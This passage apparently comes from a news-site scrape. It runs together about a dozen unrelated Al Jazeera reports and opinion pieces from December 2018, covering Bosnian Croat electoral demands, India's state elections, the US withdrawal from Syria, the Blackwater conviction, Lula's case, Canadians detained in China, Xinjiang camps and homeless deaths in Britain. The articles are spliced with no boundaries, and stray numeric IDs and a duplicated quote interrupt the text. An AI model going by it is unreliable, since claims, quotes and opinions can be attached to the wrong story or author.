Bosnia more cohesive rather than divide it further along ethnic lines. 181008185625866 Neither [Bosnia and Herzegovinas constitution nor election law] state that presidency members must be elected by members of their own group. To the contrary, electoral rules provide a rare crossing-voting mechanism aiming to incentivise moderation over divisive, fear-mongering platforms. The priority is for the government to be formed, they advised. Croatia rejected the letter, with Plenkovic responding that no one knows Bosnia better than Croatia and that as a signatory of the Dayton peace accords in 1995 which ended the war, Croatia has an obligation to look after all Croats in the diaspora, according to Croatias constitution. This, however, is not stipulated in the peace accords. No one in Dayton ever thought that such provisions would occur on the ground, that Bosniaks who number three times more than Croats could pick both members of the presidency. That makes no sense, Plenkovic told media, adding that as long as he is president, he wont give up on the issue. According to Bosnias 2013 census, Croats account for 15.43 perent of the population, the vast majority of whom live in the Federation. Some Croats are now unhappy because their preferred nationalist candidates don't always win Croat-designated seats in Bosnia's elaborate power-sharing arrangements. That does not prove inequality of Croats as a constituent people. Daniel Serwer, former US envoy to Federation entity Daniel Serwer, who served as the US special envoy for the Federation entity and helped to negotiate the Dayton peace accords, explained that the Croat question is a political not legal issue. The Bosnian Croats got a good deal at Dayton in 1995, when Croatia was vital to routing Serb forces, Serwer told Al Jazeera. Some Croats are now unhappy because their preferred nationalist candidates dont always win Croat-designated seats in Bosnias elaborate power-sharing arrangements. That does not prove inequality of Croats as a constituent people. It demonstrates political ineffectiveness of particular candidates. Critics of the HDZ have pointed out that in any case, two-thirds of Croats didnt vote for Covic according to Bosnias Central Election Commission. Furthermore, HDZs proposal would isolate Croats living in Bosniak-majority cantons as they would not be able to vote. During Bosnias election campaign, the Croatian President also sought the Turkish presidents support in changing the electoral law during a visit to Ankara in January 2018 [Murat Cetinmuhurdar/Anadolu Agency/Getty Images] A condition for NATO membership Croatia has raised the issue at EU meetings several times. In October, Croatian MEPs warned in a joint letter to the European Parliament that developments following the election results might affect the stability of Bosnia and the wider region. During a meeting in November with Jens Stoltenberg, secretary-general of NATO, Croatian HDZ MP Miroslav Tudjman said they had made electoral and constitutional reform a condition for Bosnia in order to continue its Euro-Atlantic integration and eventually join NATO. However, Croatian political analyst Zarko Puhovski told Al Jazeera that the lobbying and the recently adopted declaration dont amount to violating Bosnias sovereignty as it doesnt exist. Bosnia is half a state, half a protectorate its not a state in the full sense, Puhovski said, referring to the international Office of the High Representative which holds ultimate authority over Bosnian officials. It is unclear how you can have in one country three constituent people, but two entities. [The country] was set up crooked from the start. Once its set up crooked, its hard to straighten it. Puhovski explained that a civic society with a one-person one-vote system, that would abolish problematic ethnic lines, would require a complete reconstruction of the Dayton accords, which has no chance of happening. A third entity The demand for a third electoral unit would be a step towards creating a third, Croat entity, said analysts. Serwer explained in his blog that HDZs argument is not legal, but political. The ruse of electoral illegitimacy and the resulting crisis is simply another effort toward the HDZs territorial ambitions of creating a so-called third entity. In this, the HDZ leaders are publicly backed by the Government of Croatia and the Russian Federation, Serwer wrote. Mujanovic told Al Jazeera that the issue centres on the HDZs pursuit of permanent power by maintaining and further deepening the countrys segregationist regime. The creation of a so-called third entity is the most obvious way to do this; the HDZ is deeply envious of the one-party regime Dodik has built in the Republika Srpska; they want the same in Western Herzegovina, Mujanovic said. But if they cant have a third entity, they are prepared to settle for certain, virtual versions thereof, which is what most of their machinations regarding the elections law are about. In fact, in the past, Dragan Covic has explicitly referred to his preferred solutions to this issue as the creation of virtual election units, in other words, a third entity at the level of the electoral law, Mujanovic said. Mario Karamatic, head of the Bosnian Croat caucus in the House of Peoples, told local media this week that Bosnian Croat political parties are indeed discussing the recreation of the separate Croat republic, Herceg-Bosna, which was dismantled following the peace accords. The International Criminal Tribunal for former Yugoslavia had ruled that it was a project of a joint criminal enterprise in which Croatia held parts of Bosnia and Herzegovina under a state of occupation, with the goal of annexing the territory. The BJP lost in three Hindi-speaking states but that does not necessarily mean they will lose the 2019 national vote. On December 11, liberals in India finally had reason to smile. The governing Bharatiya Janata Partys (BJP) electoral losses in state elections across India proved that stopping the juggernaut of the Hindu nationalist party, steered by Prime Minister Narendra Modi, is not impossible. The BJP has been voted out of power in three northern Hindi-speaking states Rajasthan, Madhya Pradesh, and Chhattisgarh which elect 65 members to Indias 543-member Lower House of Parliament. The north, along with Indias west, is the most industrialised part of the country and holds the key to political power. For many, these results have raised the prospects of Modi experiencing an upset in parliamentary polls which are due to take place in late April or early May 2019. For a very long time, most India observers assumed the upcoming national elections would be an easy win for Modi and his party. In March 2017, after the BJP won more than three-fourths of the seats in Indias most populous state, Uttar Pradesh, former Jammu and Kashmir Chief Minister Omar Abdullah even said opposition parties might as well forget 2019 and start planning/hoping for 2024. However, much has changed since then. The public has lost faith in the prime minister and his empty promises and so, the election that everyone once assumed to have already been decided now appears to be an open race. Why the popular vote is important The main opposition Congress Party has managed to form governments, albeit with slender majorities, in all three states the BJP lost control over earlier this month. However, the most significant aspect of these results was not the success of the opposition, but the significant erosion in the BJPs share of the popular vote. In Indias first-past-the-post electoral system, the number of legislative seats secured by each party may be paramount in determining the winners and losers of each election, but the changes in each partys share of the popular vote still serve as a good indicator of larger scale shifts in electoral preferences. In this months state elections, compared with the previous round in 2013, the BJPs share of the popular vote has declined between four to eight percent in the three states it lost. The decline was even more significant 14 to 17 percent if we compare these latest results with the vote share the party had secured in these states in the 2014 parliamentary polls. This is the first time such decline in BJPs popularity has been seen across several states. Although the Congress party did not gain correspondingly, the trend over previous national elections following state polls in quick succession shows that such electoral shifts may increase in the interim. Too early to beat the victory drum However, there is also a converse argument. Some analysts are pointing out that the recent state elections were contested mostly on local issues, without major campaigning efforts from Modi. As a result, they argue that the BJP would do significantly better in the upcoming national vote, with the prime minister personally leading the campaign and telling people that their choice is between a decisive and charismatic leader like himself and an unknown person at the helm of an inherently unstable and non-ideological coalition. This argument, popular among key Modi aides, is not without basis as even the most ardent supporters of the Congress party are not yet betting on it securing a majority on its own. At best, the party hopes to regain numerical respectability in Parliament and state legislatures, and enlist several regional parties as partners in a coalition. Moreover, the Congress cannot even guarantee that a future coalition government would be headed by its president, Rahul Gandhi, because several opposition parties have already voiced reservations about such a scenario. This uncertainty about who would lead the government in the event of Modis defeat would likely be used by the current prime minister to try and fan the Indian publics fear of uncertainty and instability. Thus, while the results of last weeks state elections are indeed promising for Indias liberals and the religious minorities who have been the main targets of BJPs majoritarian regime, it is still too early for them to beat the victory drum. Even if the BJP loses its majority in the upcoming national election, the coalition government that replaces it will still be facing the arduous task of transforming India back into a democratic republic that it was conceived to be almost 69 years ago when its constitution was adopted. Divisive identity politics will shape the 2019 vote Prior to the 2014 elections, Modi presented himself as an eternal optimist in a bid to secure the vote of more than 150 million first-time voters. During a speech at the Shri Ram College of Commerce in 2013, for example, he picked up a glass of water and said some would see it as half full, others half empty, but for him, it was half water and half air. This optimistic attitude coupled with ambitious promises about economic recovery undoubtedly helped him win the election, but after four years in power, this rhetoric is no longer working. As demonstrated by last weeks state elections, the BJP has lost a lot of support across India since 2014, mostly because it failed to generate jobs for the youth and resolve the crisis in the agriculture sector that is causing unrest in rural India. As an incumbent who failed to increase peoples income levels, Modi is now fully dependent on the politics of identity-based on demonisation of religious minorities to stay in power. He now needs to not only prevent the publics disappointments from turning into anger, but he also needs to find a way to make people believe in him once again. To achieve this, he is likely to ratchet up his divisive, Hindu nationalist rhetoric and step up his attacks on the countrys minorities he already embarked on this strategy when he helped rekindle the Babri mosque dispute. So far, the Congress has responded to Modis nationalist, majoritarian appeal by consciously masking its belief in pluralism and not emphasising its support for minority rights on the campaign trail. To the dismay of most liberals, Rahul Gandhi has stepped up his visits to Hindu temples in the last year, in an apparent attempt to counter Modis subtle suggestions that the Congress president is not suitable to represent the interests of Indias Hindu majority. In this context, it is hard to claim that the BJP losses in state elections would certainly translate into a national election loss. By focusing on appeasing the nationalistic feelings of the Hindu majority on the campaign trail, rather than emphasising its belief in Indias pluralist and democratic character, the Congress has agreed to fight the election on Modis identitarian terms. This would likely only encourage the prime minister to adopt an even more extreme Hindu-nationalist posture. In the next four months, Modi will most certainly focus his efforts on trying to convince all voters to cast their votes not based on their personal economic and social grievances, but their communal identities. If the opposition does not take immediate action to move the discussion away from ultra-nationalism and towards the everyday grievances of all Indians, despite the disappointment the BJP experienced last week in Rajasthan, Madhya Pradesh, and Chhattisgarh, Modi could still secure a second term in 2019. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. By withdrawing from Syria President Donald Trump is reasserting his power at home and putting an end to a failed policy. US President Donald Trumps sudden decision to withdraw US forces from Syria is a reminder that this is not an ordinary time in Washington. The political establishment and Congress have been forcing the presidents hand on key foreign policy challenges, from Russia to Saudi Arabia, but Trump had a trick up his sleeve on Syria. He has reasserted his executive power at home by effectively moving to limit US power abroad. Now 2,000 US troops are scheduled to withdraw from northern Syria within the next 100 days, leaving behind much uncertainty for both allies and foes. What this tells us about the Trump administration There is no simple explanation for the timing and rationale of this decision. Some argue that Trump is using it as a distraction from his legal troubles in the US or that he has been influenced by his phone call with Turkish President Recep Tayyip Erdogan last Friday. Others assert that a grand deal in Syria is in the making and the US sold out its Kurdish partners. Speculations aside, Trump has been talking about withdrawal for a while now as he does not see any financial or strategic value in keeping US forces in Syria. Last March, the president casually announced during a rally that US forces will be coming out of Syria, like, very soon. The Pentagon and the State Department then coalesced their efforts to convince the commander-in-chief that the US must stay, but in April he gave the military six months to finish the job against the Islamic State of Iraq and the Levant (ISIL, also known as ISIS). Earlier this month, the US-backed Kurdish-led Syrian Democratic Forces (SDF) captured the town of Hajin, the last ISIL-controlled urban area. While ISIL remains a threat, Trump believes the necessary time given to the military was enough and US troops should come home. His decision is very much an indication of how detached Trump has become from his national security team. In the past few months, the conservative wing of his administration led by National Security Adviser John Bolton and the military wing led by Defence Secretary James Mattis made different arguments for keeping US forces in Syria. Bolton, who has been advocating for months the idea of expanding the US mission in Syria to deter Iran, now has absolutely nothing to show for it. He managed to convince Trump in September to agree on an indefinite US role in Syria. However, his idea of an Arab NATO was expectedly not feasible and Saudi Arabia seems unenthusiastic about funding a long-term US presence in northern Syria. Mattis, on the other hand, has been warning of Boltons adventurism that might risk confrontation with Iran and instead has been arguing that the US should stay in Syria to confront ISIL and push for a path towards conflict resolution. But he too seems to have become more isolated within the Trump administration, especially after he lost a key ally with the resignation of White House Chief of Staff John Kelly. Trumps decision to pull out of Syria might widen the distrust between the White House and the military, which might have repercussions in other war zones like Afghanistan, where the president also believes the US withdrawal should be imminent. The war and peace decisions are typically announced by the White House in consultations with key agencies and the Congress, but the way this decision was orchestrated reflects a deep division in Washington on this issue. Possible resignations from the Trump administration might be announced in the coming days, weeks and months as a result of this decision. It is important to point out that US policy on Syria has been failing dramatically in the past seven years and Trump might just have put it out of its misery. The balancing act between Turkey and the Kurds did not achieve necessarily any long-term conditions for stability in northern Syria. Washington can neither make a deal nor confront Moscow in Syria nor does it seem invested in advancing a UN-led political process. The new US envoy to Syria James Jeffrey recently added confusion to US policy by stating that the Trump administration wants change in the Syrian regime not regime change. As the White House tacitly approved President Bashar al-Assad staying in power until the next Syrian presidential election in 2021, the US plan in Syria shifted to trying to hunker down and disrupt the Russian plan. Some US officials continue to believe that the US can play a decisive role on the situation in Syria and remain in denial about the limits of US power in the Middle East. There is also some wishful thinking that Trump might once again change his mind on Syria after listening to his advisers, but this does not seem the case this time around. What this means for the other players in Syria Regardless of whether Trumps decision will stand or not, the reputation of his administration will most likely suffer, as it is increasingly being seen by allies around the world as erratic and unreliable. The fact that the US is letting down its Kurdish allies will make it difficult for other forces in the Middle East to trust it. It is worth noting that the 2,000 US forces in Syria had no combative role and withdrawing them does not mean the US will lose its ability to launch air attacks when needed. But the symbolism of the withdrawal is significant when it comes to the strength of US commitment in Syria. At the same time, the most obvious beneficiaries of Trumps decisions might face unforeseen difficulties, as a result of the US withdrawal. Trumps move throws the burden of resolving the situation in northern Syria on Russia and Turkey, which might lead to a crack in their alliance as they struggle to fill the vacuum left by the US. SDF will most probably move closer to Russia now and expand its engagement with Damascus, potentially surrendering border posts on the Turkish border to the Syrian regime as a way to establish a buffer zone against possible Turkish incursions. As for Iran, the US withdrawal from Syria might weaken its argument for an open-ended stay in the country. And the Trump administration might still be able to strike a deal with Russia to curtail Iranian presence in Syria. The Trump administration has a lot to explain in the coming weeks regarding the timeline of this withdrawal and what US allies should expect moving forward. An imminent US withdrawal without setting the necessary conditions might lead to a backlash or in the worst-case scenario an open confrontation between Turkish and Kurdish forces. The US had no strategy of how to stay in Syria, now it is clear it has no strategy of how to leave. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. King Philippe consults leaders of political parties in deciding whether to accept the prime ministers resignation. King Philippe of Belgium has met several political leaders as he decides whether to accept the resignation of his prime minister. Charles Michel offered to quit on Tuesday after his right-wing coalition partners walked out of the government. They are angry about a United Nations migration pact Michel signed the country up to. Natacha Butler reports from Brussels. Fourteen unarmed Iraqi civilians were killed in 2007 shooting that drew scrutiny of role of US contractors in Iraq War. A former Blackwater security contractor has been convicted by a court in the United States of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq, an incident that drew worldwide condemnation. Nicholas Slatten, 35, was on Wednesday found guilty of first-degree murder in Washington for his role in the shooting, which stood out for its brutality and sparked intense scrutiny of the role of US contractors in the Iraq War. Prosecutors charged that Slatten was the first to open fire and intentionally set off a shooting rampage in the September 16, 2007 massacre that killed 14 Iraqi civilians at a crowded traffic circle in Iraqs capital, Baghdad. They alleged that Slatten was unprovoked when he fired shots, first killing 19-year-old Ahmed Haithem Ahmed Al Rubiay, who was driving his mother to an appointment, prosecutors said. In all, 10 men, two women and two boys, ages 9 and 11, were killed. Eighteen others were wounded. 150416200318472 The defence argued that Slatten and other Blackwater contractors opened fire only after Al Rubiays sedan, seen as a potential suicide car bomb, began moving quickly towards their convoy. After the shooting stopped, no evidence of a bomb was found. Slatten is being held pending sentencing and faces a mandatory life prison term, the US Attorneys Office said. In 2014, a jury convicted Slatten and three other contractors Paul Alvin Slough, Evan Shawn Liberty and Dustin Laurent Heard who were part of a heavily armed, four-truck Blackwater Worldwide convoy that had been trying to clear a path for the American diplomats after a nearby car bomb. At Nisur Square, they opened fire on Iraqis with machine guns and grenade launchers. An appeals court had overturned Slattens 2014 conviction, saying he should have been tried separately from three other men. Slatten was retried last summer, but a mistrial was declared after the jury could not reach a unanimous verdict. The appeals court had ordered that Slattens co-defendants be resentenced, and Slough, Liberty and Heard all remain in custody and are awaiting resentencing, prosecutors said. Blackwater, which was founded by former Navy SEAL Erik Prince, the brother of US Education Secretary Betsy DeVos, was later sold and now operates as Virginia-based Academi. Brazils Supreme Court chief justice knocks down earlier ruling, but says full court will take up case next year. The Chief Justice of Brazils Supreme Court, Dias Toffoli, has knocked down a colleagues ruling that would have freed from jail former President Luiz Inacio Lula da Silva, but said the full court will take up the contentious case in April. Toffoli wrote in his ruling that it would be up to all 11 justices to make a decision. The case considers whether a defendant convicted of a non-violent crime can be jailed after a first appeals court confirms a guilty verdict, which is the situation with Lula, convicted of corruption and facing six more similar trials. A leftist icon, Lula is one of Brazils most popular politicians, but is also reviled by the right, who blame him for years of corruption, botched economic policies and rising crime. Dias Toffoli said the case would be heard on April 10, a debate that will delve into a deeper constitutional discussion that could have wide-reaching implications for Brazils corruption investigations and criminal justice system. If Lula is released in April, it would galvanise Brazils demoralised left, still reeling after Octobers election of far-right president-elect Jair Bolsonaro, who has vowed to reverse policies instilled during Lulas two terms. Lula, 73, was jailed in April after being sentenced to more than 12 years in prison, and faces six other trials over corruption allegations. He maintains his innocence claim, insisting he is a political prisoner, jailed in a bid to block him from running for the presidency. His argument gained traction when the crusading anti-corruption judge Sergio Moro, who led the sweeping probe that helped put Lula behind bars, accepted an offer from Bolsonaro to be Brazils next justice minister. The president-elect takes office on January 1. Earlier on Wednesday, Justice Marco Aurelio Mello issued a shock ruling that suspended a Supreme Court decision from 2016 that allowed for convicts to be jailed after their sentence was upheld on first appeal. My conscience led me to this decision, Mello, who voted against the courts 2016 ruling, told Reuters news agency. I had to act. Critics have said reversing the 2016 ruling would result in the return of de facto impunity for the rich and powerful, who have been hobbled in recent years by several corruption investigations that revealed stunning levels of corruption in the upper echelons of Brazilian society. But several top court justices have been clamouring to revisit their 2016 ruling, arguing that lower courts have in practice made it mandatory to send non-violent convicts to prison after a failed first appeal. Won by a narrow 6-5 margin, the decision has been in justices cross-hairs and the subject of much constitutional deliberation that could see it revisited. Chinas foreign ministry has said that a Canadian woman is undergoing administrative punishment for working illegally, after Canadas government said a third Canadian had been detained in China. The foreign ministrys statement on Thursday comes after Chinese state security agents last week detained two Canadians, former diplomat Michael Kovrig and businessman Michael Spavor, saying they were suspected of endangering state security. The detentions of the Canadians followed the arrest on December 1 in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies. Meng was arrested at the request of the United States, which is engaged in a trade war with China. Chinese Foreign Ministry spokeswoman Hua Chunying identified the third Canadian as Sarah McIver, who was serving administrative punishment due to illegal employment. She, however, but did not elaborate. What I can tell you is that China and Canada are maintaining clear consular communication, Hua told a daily news briefing. When asked if McIvers case was connected to that of Kovrig and Spavor, Hua pointed out that the natures of the cases were different, given the other two were accused of endangering national security. Hua referred further questions on McIver to the Ministry of Public Security. The ministry did not immediately respond to requests for further comment. The Canadian government has not identified the third detainee, though Canadian media reported the person was McIver and said she was an English teacher being held because of visa complications. Canadian Prime Minister Justin Trudeau had on Wednesday urged caution and said he would not be stomping on a table after China detained the third Canadian. Trudeau said he was asking China for more information on the detentions. He said the latest incident was a very separate case from the other two. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huawei founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a tit-for-tat reprisal by China. China has demanded Mengs immediate release and summoned in the Canadian and US ambassadors to complain about the case. Meng is accused by the US of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating US sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the US. She is due in court on February 6. The Danish parliament is set to vote on a measure that would see migrants sentenced to deportation but unable to return home sent to a 20-hectare island. A plan to send migrants sentenced to deportation, but unable to return home due to risk of torture or execution to a tiny island is set to be approved by the Danish parliament. The island is currently used by scientists from the Technical University of Denmark to research swine flu and rabies vaccines, among others, earning it the nickname Virus Island from the right-wing Danish Peoples Party. The UN criticised the plan earlier this month and it is seen as a symptom of Denmarks increasingly hostile stance towards immigration. Al Jazeeras Katia Lopez Hodoyan reports. An election official in the Democratic Republic of Congo says Sundays polls might be delayed due to technical difficulties. An official from the electoral commission in the Democratic Republic of Congo says Sundays elections might be delayed due to technical difficulties. Earlier, police fired tear gas at a crowd of rock-throwing supporters of opposition presidential candidate Martin Fayulu in the capital, Kinshasa. The violence came after a ban by the citys governor on all political gatherings. Al Jazeeras Catherine Soi reports from Kinshasa. According to Beijing, those drawn towards Islamist extremism and separatism have been sent vocational education centres. At least one million Uighurs and other minority Muslims are held at these sites, UN says. Bishkek (AsiaNews/Agencies) Kyrgyz and Kazakh Muslims have been detained along with Uyghurs in Chinas study camps" in the Xinjiang Autonomous Region, the Committee to Protect the Kyrgyz People in China (pictured) said in a statement. The group has called on the Kyrgyz government, which relies heavily on Chinese economic aid, to condemn Beijings "scorched earth" policy and put pressure on Chinese authorities to let their countrymen go. Asyla Alymkulova, the 33-year-old wife of Shairbek Doolotkhan, a Chinese-born Muslim, is one of the founders of the group. She has had no news about her husband since October when he went to Xinjiang on business. Two weeks after his disappearance, a representative of Doolotkhans company told her that her husband had been "sent away to study" in a camp. The study camp is believed to be one of the many extra-judicial detention centres set up in Xinjiang, holding as many as one million Uighurs and other Muslim minorities, according to estimates cited by a UN panel. Chinese officials have described the camps as vocational education centres for people who appear to be drawn towards Islamist extremism and separatism. But human rights activists say members of Chinas Muslim minorities are being held involuntarily for transgressions such as wearing long beards and face veils. The fate of 1.5 million Xinjiang-based Kazakhs has been a hot-button issue in Kazakhstan. In Kyrgyzstan, the plight of members of the smaller Chinese Kyrgyz community only recently emerged after reports that a Kyrgyz lawmakers brother had been detained. Kyrgyzstans foreign minister declined to comment when asked if Kyrgyz citizens had also been arrested. Chinas Foreign Ministry said that it had no information. The workers, including citizens from the US, Europe, Egypt and other Arab nations, were first jailed in 2013. An Egyptian court has acquitted 40 pro-democracy NGO workers, in a retrial of a long-running case that has strained the countrys relations with the United States. In 2013, 43 Americans, Europeans, Egyptians and other Arabs were sentenced to jail terms ranging from one to five years on various charges, including operating non-governmental organisations (NGOs) without necessary approval. Their offices were ordered to close. In April, Egypts top appeal court overturned the jail sentences of 16 of the workers and ordered their retrial. Many of the defendants, including at least 15 Americans, left Egypt at the time and received five-year sentences in absentia. The remaining three defendants who were not acquitted on Thursday are among those who were sentenced in absentia, but did not apply for a retrial, a judicial source said. Beginning in late 2011, Egypts crackdown on organisations, including US-based groups linked to its two main political parties, caused outrage in Washington, which supplies Cairo with $1.3bn in military aid each year. The court at the time ordered the closure of the NGOs involved in the case, including the US-based International Republican Institute (IRI), National Democratic Institute (NDI) and Freedom House. The Americans sentenced in absentia include the son of then-US transportation secretary Ray LaHood. Trumps claim that ISIL has been defeated contradicted his own experts assessments and shocked his Middle East allies. The sudden announcement of the withdrawal of US troops in Syria has left the door open for Turkey to target the US-backed Kurdish fighters it regards as terrorists. The departure of 2,000 US troops from Syria, where the Syrian Democratic Forces (SDF) have acted as the United States boots on the ground in the war on Islamic State of Iraq and the Levant (ISIL, also known as ISIS), will give Ankara greater scope to drive the Kurdish fighters away from its border. Two days before the statement, Turkeys President Recep Tayyip Erdogan said his US counterpart had responded positively to a his plan to invade the area of northeast Syria controlled by the SDF. There is little doubt that [Erdogan] welcomes it as a major diplomatic gain which clears the way for a third Turkish military advance into northern Syria, said Bulent Aliriza, director of the Center for Strategic and International Studies Turkey Project in Washington. The SDF is largely comprised of troops from the Peoples Protection Units (YPG), which are tied to the Kurdistan Workers Party (PKK). The PKK has waged a bloody uprising against Turkey since 1984 that has left at least 40,000 dead. 150529144229467 US support for the YPG, which it has trained and armed, has been one of the central disputes in Ankara-Washington relations for the last few years. The YPG controls a swath of territory in northeast Syria from the eastern bank of the River Euphrates to the Iraqi border, including a more than 400km border with Turkey. It has an estimated 30,000 to 40,000 fighters in the region. Sinan Ulgen, chairman of the Istanbul-based Centre for Economics and Foreign Policy Studies, said the announcement was being portrayed as a diplomatic triumph for Turkey. Theres a narrative that Erdogan convinced Trump to withdraw from Syria, he said. I dont know to what extent thats correct but its been received very positively in Turkey, especially from the perspective of the YPG angle because it weakens them politically, diplomatically and militarily. 181219185757375 Ulgen, a former Turkish diplomat, said there was a strong likelihood of a Turkish operation but the scale remains unclear for now. It could be a small operation to establish a buffer zone a few kilometres from the border or it could be a larger operation to eliminate the YPG in the whole region, he said. In the past, Turkish ambitions to target the YPG, which Ankara views as a primary security threat, have been stymied by the presence of US soldiers, who were deployed in 2015. However, over the last two years, Turkey has launched two military operations west of the Euphrates, the most recent earlier this year when Turkish forces and allied militias drove the YPG from Afrin, a Kurdish enclave in the northwest. To date, Turkish troops have not launched any substantial operations east of the river. Last week, Erdogan declared that Turkey would attack the region within days. We will start the operation to clear the east of the Euphrates from separatist terrorists in a few days, he said at a defence industry event in Ankara, adding: Now, its time to realise our decision to disperse the circles of terror east of the Euphrates. The fact that we have deep differences in perception with the United States is no secret. Erdogan described the continued threat from ISIL in Syria as a fairy tale. At the time the Pentagon said any unilateral military operation in the area, known as Rojava, would be unacceptable and has repeatedly voiced concerns that Turkish attacks on the Kurds would distract from efforts to wipe out ISIL. When Turkey invaded Afrin, there was an operational pause against ISIL in eastern Syria and last month Turkish cross-border shelling led to another temporary halt. The US has since established observation posts along the frontier to prevent skirmishes. Erdogan seems intent on carrying out a similar operation, once again utilising members of the opposition in the Free Syrian Army loyal to Ankara along with the Turkish army, Aliriza said. While the scope and depth of the operation will be seen only after it is launched, it will undoubtedly expand the area of direct Turkish influence while pushing the YPG away from the border and weakening its capabilities. The withdrawal announcement contradicts recent comments by US officials including Brett McGurk, special envoy to the anti-ISIL coalition, and General Joseph Dunford, chairman of the Joint Chiefs of Staff. Both indicated earlier this month that US troops would remain for the foreseeable future. According to Ulgen, the US departure could see the YPG ally itself to Bashar al-Assads government, with which the Kurds have not engaged in serious confrontation during the seven-year war. The more interesting or critical scenario is whether this decision accelerates a rapprochement between the YPG and Damascus, he said. Thats something to watch and the result will be mostly conditional on any change in the relationship between the YPG and the regime. The YPG will be devoid of the US umbrella and may want to find a different patron. In another apparent switch in the mood between the US and Turkey, hours before the announcement the State Department said it had approved the sale of Patriot missiles to Turkey, calling into question Ankaras earlier plan to buy a Russian air defence system. It was unclear if there was any connection between the two statements. While the timescale of the US withdrawal is unclear it has been reported troops could leave within 60 or 100 days important local elections are due to be held in Turkey at the end of March and a successful incursion into Syria would play well with voters. If the US withdrawal happens in 60 days it leaves a window of opportunity before the local elections, Ulgen said. Theres reason to think the operation could also be linked to Turkeys domestic politics. Nearly 600 homeless people in the two regions died last year a 24 percent rise, according to official estimates. Nearly 600 homeless people in England and Wales died in the last year, an increase of 24 percent over the past five years, government figures have revealed. Rising from 475 in 2014 to 597 in 2017, deaths among the homeless increased annually barring a slight drop in 2013 according to figures released by the UK Office for National Statistics (ONS) on Thursday. A majority of these deaths were among men, with 503 men, or 84 percent of the total, dying in 2017, compared with 94 women. The report came days after a 45-year-old man collapsed outside the UK parliament and died. The ONS defines a homeless person as those recorded as having no fixed abode, sleeping rough or using emergency accommodation such as homeless shelters and direct access hostels. Homeless die younger 181215003224895 The average age of deaths among the homeless was 44 years for men and 42 for women, a sharp contrast to the mean age at death of the general population at 76 years for men and 81 for women. Drug poisoning, suicide or alcohol abuse accounted for more than half the deaths in 2017 while these reasons made for just three percent of the fatalities among the general population in the UK last year. Ben Humberstone, deputy director for health analysis and life events at the ONS, said the purpose of the study was to shed light on the pressing social issue. Every year, hundreds of people die while homeless. These are some of the most vulnerable members of our society so it was vital that we produced estimates of sufficient quality to properly shine a light on this critical issue, he said. Our findings show a pattern of deaths among homeless people which is strikingly different from the general population. For example, homeless people tend to die younger and from different causes. Geographically, London and the North West of England show the highest mortality rates among rough sleepers. In the northwest, Manchester and Liverpool experienced the largest increase in homeless fatalities over the five-year period, from 55 in 2013 to 119 in 2017. In the northeast and Yorkshire, deaths rose by 71 percent and 58 percent respectively since 2013. The ONS calculated the figures by checking death registrations in England and Wales for information that a person was homeless at the time of their death. While the findings are the first official estimates of the homeless deaths in England and Wales, the figures are experimental and are yet to be assessed against the rigorous quality standards of National Statistics. Government promises An UK government spokeswoman said in October that 1.2 billion pounds ($1.5bn) would be invested to tackle all forms of homelessness and end rough sleeping by 2027. 181103062407206 The British media also reported that the government pledged in October that local authorities would investigate all homeless deaths. Yet, more than 24,000 people in Britain will spend this holiday season sleeping rough or on public transport, according to figures by the homelessness charity, Crisis. Official figures collated by homelessness charities in the UK say rough sleepers have quadrupled, increasing by 169 percent since 2010, the Guardian reported in January. UK housing secretary James Brokenshire said on Tuesday that homelessness is not a result of the government policy. Instead, he blamed the rise on the spread of psychoactive drugs such as spice, growth in non-UK nationals on the streets, and family breakdown, Following the release of the ONS figures, Brokenshire said: No one is meant to spend their lives on the streets or without a home to call their own. Every death on our streets is too many and it is simply unacceptable to see lives cut short this way, he said. To stop people from becoming homeless in the first place, weve changed the law to require councils to provide early support for those at risk of being left with nowhere left to go, are boosting access to affordable housing and making renting more secure. UK charities appalled But UK charities believe the government needs to do more to tackle the issue. Greg Beales, campaign director at UK charity, Shelter, told Al Jazeera: This appalling loss of life should be a source of national shame. There is nothing inevitable about homelessness or about these tragic deaths which are a consequence of a housing system which fails too many people. 170305093253997 Our crippling shortage of social housing and a threadbare safety net are at the root of this national emergency and we call on the government to make this year a turning point in the fight to ensure that there is a safe home for all those who need it. Rick Henderson, chief executive of Homeless Link, another UK charity, said it was unacceptable that so many homeless people are dying. Every time someone who is homeless dies, there should be a thorough investigation into the cause of death, so we can learn how to prevent them in the future. Henderson called homelessness a key health inequality and causes premature death. But we know that it is preventable The government must urgently look at solving the structural causes of homelessness by tackling poverty, the broken welfare system and building more genuinely affordable housing. Illinoiss attorney general has issued a blistering report about clergy sexual abuse, saying that Catholic dioceses in the US state have not released the names of at least 500 clergy accused of sexually abusing children. The preliminary report on Wednesday by Lisa Madigans office says that the churchs six archdioceses have done a woefully inadequate job of investigating allegations and in some cases did not investigate them at all or notify the states child welfare agency. Madigans office said that while the dioceses have disclosed 45 more names of those credibly accused, the total number of names disclosed is only 185 and raises questions about the churchs response to the crisis. By choosing not to thoroughly investigate allegations, the Catholic Church has failed in its moral obligation to provide survivors, parishioners and the public a complete and accurate accounting of all sexually inappropriate behavior involving priests in Illinois, Madigan said in a statement. The failure to investigate also means that the Catholic Church has never made an effort to determine whether the conduct of the accused priests was ignored or covered up by superiors. The report does not include some key details, such as when the allegations were made. It also does not accuse the dioceses of withholding the names of credibly accused clergy, only that the list of names of accused clergy is far longer than has been made public. A Madigan spokesperson said that the allegations date back decades and include some priests who are now deceased. Scandals The Illinois disclosures are a new blow to the credibility of the church, which has struggled to contain the scandal amid mounting accusations of negligence. In August, a Pennsylvania grand jury report alleged that hundreds of priests abused at least 1,000 children over seven decades in that state. The report prompted Pope Francis to call bishops in the US for a retreat at a suburban Chicago seminary next month to debate how to respond. Larry Antonsen, a Chicago leader of Survivors Network of those Abused by Priests, said Madigan is doing the right thing and needs to continue. He said Illinois should convene a grand jury with subpoena power, as in Pennsylvania. Theres more that needs to be done. The Catholic Church does not do a good job of policing itself, and you cant expect them to do that, Antonsen said. Its hard to know what to believe because so much of what theyre doing is in secret and not out in the open, but this is a step in the right direction. A leading lawyer who has represented survivors of abuse called for the additional names of priests to be made public. The Illinois Bishops must release these names immediately so that survivors can heal and 